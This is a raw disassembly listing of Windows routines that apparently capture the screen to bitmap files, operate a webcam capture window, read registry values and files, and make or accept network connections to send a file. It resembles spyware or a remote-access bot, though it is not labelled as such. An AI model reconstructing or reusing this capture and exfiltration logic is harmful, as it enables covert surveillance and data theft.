var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= word ptr -4Ch
var_4A		= word ptr -4Ah
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2E		= dword	ptr -2Eh
var_2A		= word ptr -2Ah
var_28		= word ptr -28h
var_26		= dword	ptr -26h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 484h
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		push	esi
		push	esi
		push	esi
		push	offset aDisplay	; "DISPLAY"
		call	dword_4CAF60
		mov	edi, eax
		cmp	edi, esi
		mov	[ebp+var_20], edi
		jz	loc_4155F0
		push	8
		push	edi
		call	dword_4CAF7C
		push	0Ah
		push	edi
		mov	[ebp+var_8], eax
		call	dword_4CAF7C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CAF7C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CAF7C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------

loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx

loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CAFC0
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CAFB8
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CAE44
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CAFBC
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CAE98
		mov	ebx, eax

loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		nop
		call	near ptr 2700923h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		call	near ptr 26F0000h
		nop
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26F0000h
		nop
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		call	near ptr 26F0000h
		nop

loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26F0000h
		push	[ebp+arg_0]
		call	near ptr 2660969h
		nop
		push	1
		pop	esi

loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CAED0
		push	[ebp+var_4]
		call	dword_4CAE30
		mov	edi, [ebp+var_20]

loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CAE30
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------

loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CAE30
		push	[ebp+var_4]
		call	dword_4CAE30

loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax

loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------

loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_415654
; ---------------------------------------------------------------------------

loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax

loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F

loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0

loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------

loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx

loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------

loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h

loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h

loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CAFD0

loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB024
		mov	eax, ebx

loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D2BA0
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CAEC4
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------

loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CAFD0
		jmp	short loc_41584D
; ---------------------------------------------------------------------------

loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax

loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858

loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CAFD0

loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CAFD0
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------

loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx

loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------

loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CAFD0

loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h

loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax

loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0

loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CAFD0

loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CAFD0

loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CAFD0

loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CAFD0

loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CAFD0

loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CAF14
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CAFD0

loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB024
		mov	eax, ebx

loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4361F4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4361F4
		mov	esi, offset dword_436200
		mov	edi, offset dword_4373F8

loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CAFE4
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CAE74
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_4293BC
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax

loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------

loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_4373F4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_4373F4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------

loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]

loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h

loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------

loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h

loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CAF50
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi

loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CAFF4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CAF74
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CAFB4
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CAFF8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CAF1C
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB00C

loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------

loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi

loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 43747468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
		dd 90022CA3h, 43D12868h, 6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 43744468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0C15FF53h, 0FF004CB0h,	0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022CA2h, 42E89064h,	330225B1h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 8C15FF53h,	85004CAFh
		dd 8D387EC0h, 0FFEE4C85h, 999868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 0EAE89064h, 6A0225B0h, 5580E80Ah, 0C085FFFFh, 8DA37559h
		dd 0FFEE4C85h, 741068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B00C15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
; ---------------------------------------------------------------------------
		sub	al, 2

loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CAFF4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437574
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CAF74
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CAFA0
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437550
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CAF18
		push	dword ptr [ebp-2Eh]
		call	dword_4CAEA4
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx

loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------

loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al

loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CAF9C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437474
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		nop
		call	near ptr 2700923h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437530
		jmp	loc_416021
; ---------------------------------------------------------------------------

loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 27309E3h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CAFB4
		push	eax
		call	dword_4CAF70
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437518
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CAF5C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437500
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------

loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
